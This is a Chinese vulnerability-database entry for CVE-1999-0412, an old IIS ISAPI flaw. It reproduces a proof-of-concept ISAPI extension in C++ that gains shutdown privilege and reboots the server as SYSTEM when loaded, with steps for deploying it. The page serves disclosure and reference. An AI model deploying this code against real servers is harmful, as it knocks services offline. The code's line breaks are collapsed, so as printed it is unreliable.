NT IIS ISAPI GetExtensionVersion()漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105427 漏洞类型 竞争条件
发布时间 1999-03-08 更新时间 2005-05-02
CVE编号 CVE-1999-0412 CNNVD-ID CNNVD-199902-043
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/19376
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199902-043
|漏洞详情
IIS以及其他网络服务器存在漏洞。如果服务器正作为SYSTEM运行并且正在加载一个ISAPI分机,那么攻击者可以攻击如SYSTEM命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/501/info


IIS and potentially other NT web servers have a vulnerability that could allow arbitrary code to be run as SYSTEM. This works because of the way the server calls the GetExtensionVersion() function the first time an ISAPI extension is loaded. Any user able to put a CGI script in the web structure can insert code that will be run as SYSTEM during this window.


Copied verbatim from a post to NTbugtraq by Fabien Royer <fabienr@BELLATLANTIC.NET>.

Using VC++, create an ISAPI extension project and call it CRbExtension. Replace GetExtensionVersion() and Default() with the code below. Compile it to something
simple, like rb.dll. Place it on your web server and invoke it from your browser like this http://your.machine.namerb.dll? Note: if you are using IE4.0, don't call this from
the machine that is running the web server otherwise, the next time you log in, IE will recall the last URL and you'll reboot again.

BOOL CRbExtension::GetExtensionVersion(HSE_VERSION_INFO* pVer)
{ HANDLE hToken; // handle to process token TOKEN_PRIVILEGES tkp; // pointer to token structure

// Get the current process token handle so we can get shutdown // privilege. OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken);

// Get the LUID for shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);

tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

// Get shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);

ExitWindowsEx(EWX_REBOOT,0);

// Disable shutdown privilege. tkp.Privileges[0].Attributes = 0; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);

// Call default implementation for initialization CHttpServer::GetExtensionVersion(pVer);

// Load description string TCHAR sz[HSE_MAX_EXT_DLL_NAME_LEN+1]; ISAPIVERIFY(::LoadString(AfxGetResourceHandle(),IDS_SERVER, sz,
HSE_MAX_EXT_DLL_NAME_LEN)); _tcscpy(pVer->lpszExtensionDesc, sz); return TRUE;
}

void CRbExtension::Default(CHttpServerContext* pCtxt)
{ StartContent(pCtxt); WriteTitle(pCtxt);

*pCtxt << _T("Reboot<br>");

EndContent(pCtxt);
}
|参考资料

来源:BID
名称:501
链接:http://www.securityfocus.com/bid/501